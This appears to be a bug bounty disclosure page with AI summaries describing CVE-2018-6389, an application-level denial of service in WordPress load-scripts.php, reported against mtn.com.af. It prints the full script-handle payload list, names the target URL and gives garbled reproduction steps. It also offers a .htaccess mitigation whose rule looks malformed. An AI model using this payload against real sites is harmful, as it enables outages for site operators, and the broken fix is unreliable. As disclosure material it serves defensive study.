[mtn.com.af] Multiple vulnerabilities allow to Application level DoS
The WordPress installation exposes the load-scripts.php endpoint, which lets an unauthenticated visitor request a very large list of registered JavaScript files in a single call. By repeating such requests, an attacker could exhaust server resources and cause a denial of service.
- Triaged in 22 days
- Fixed in 11 months
- Disclosed after 14 months
Issue Description Unauthenticated attackers can cause a denial of service (resource consumption) by using the large list of registered .js files (from wp-includes/script-loader.php) to construct a series of requests to load every file many times. The vulnerability is registered as [CVE-2018-6389] #761722 #752010 #753491 #335177
CVE ID Risk Score CVE-2018-6389 7.5
Platform(s) Affected: [website] *.https://www.mtn.com.af/wp-admin/load-scripts.php?load=
###Steps To Reproduce:
- Open Vulnerability url - open directory
/wp-admin/load-scripts.php?load= - Add
parameter-vulnerablein request header - In request header using GET-Method
- Show url opened , and check in network websites has been vulnerable stack-red
- Response has been truncated
Payloads Vulnerabilities
eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter
How to fix:
RewriteCond %{QUERY_STRING} ^.{1000,}$
RewriteRule ^WP-ADMIN/LOAD-SCRIPTS.PHP$ - f
add this to your .htaccess
Impact
CVE-2018-6389
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the load-scripts.php endpoint accepts an unbounded list of script names and loads them all without limiting the request size or the number of files.
Impact
Repeated requests could consume server resources and cause an application-level denial of service, though the report only shows a truncated response rather than a measured outage.
What the attacker needed
No login needed; target runs vulnerable WordPress
The fix
The report suggests blocking requests whose query string is very long at the web server level, though it does not say whether this was applied.
How it was found
- Open the load-scripts.php endpoint on the target site.
- Add the vulnerable parameter to the request.
- Send the request using the GET method.
- Observe the response and check the network activity for the vulnerable behaviour.
- Note that the response is truncated.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
WordPress has a helper page that bundles many JavaScript files together when asked. The report says anyone can ask it for a huge number of files at once, and doing that over and over can overload the server so normal visitors cannot use the site. This is called a denial of service: the site is not broken into, it is just made too busy to respond.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.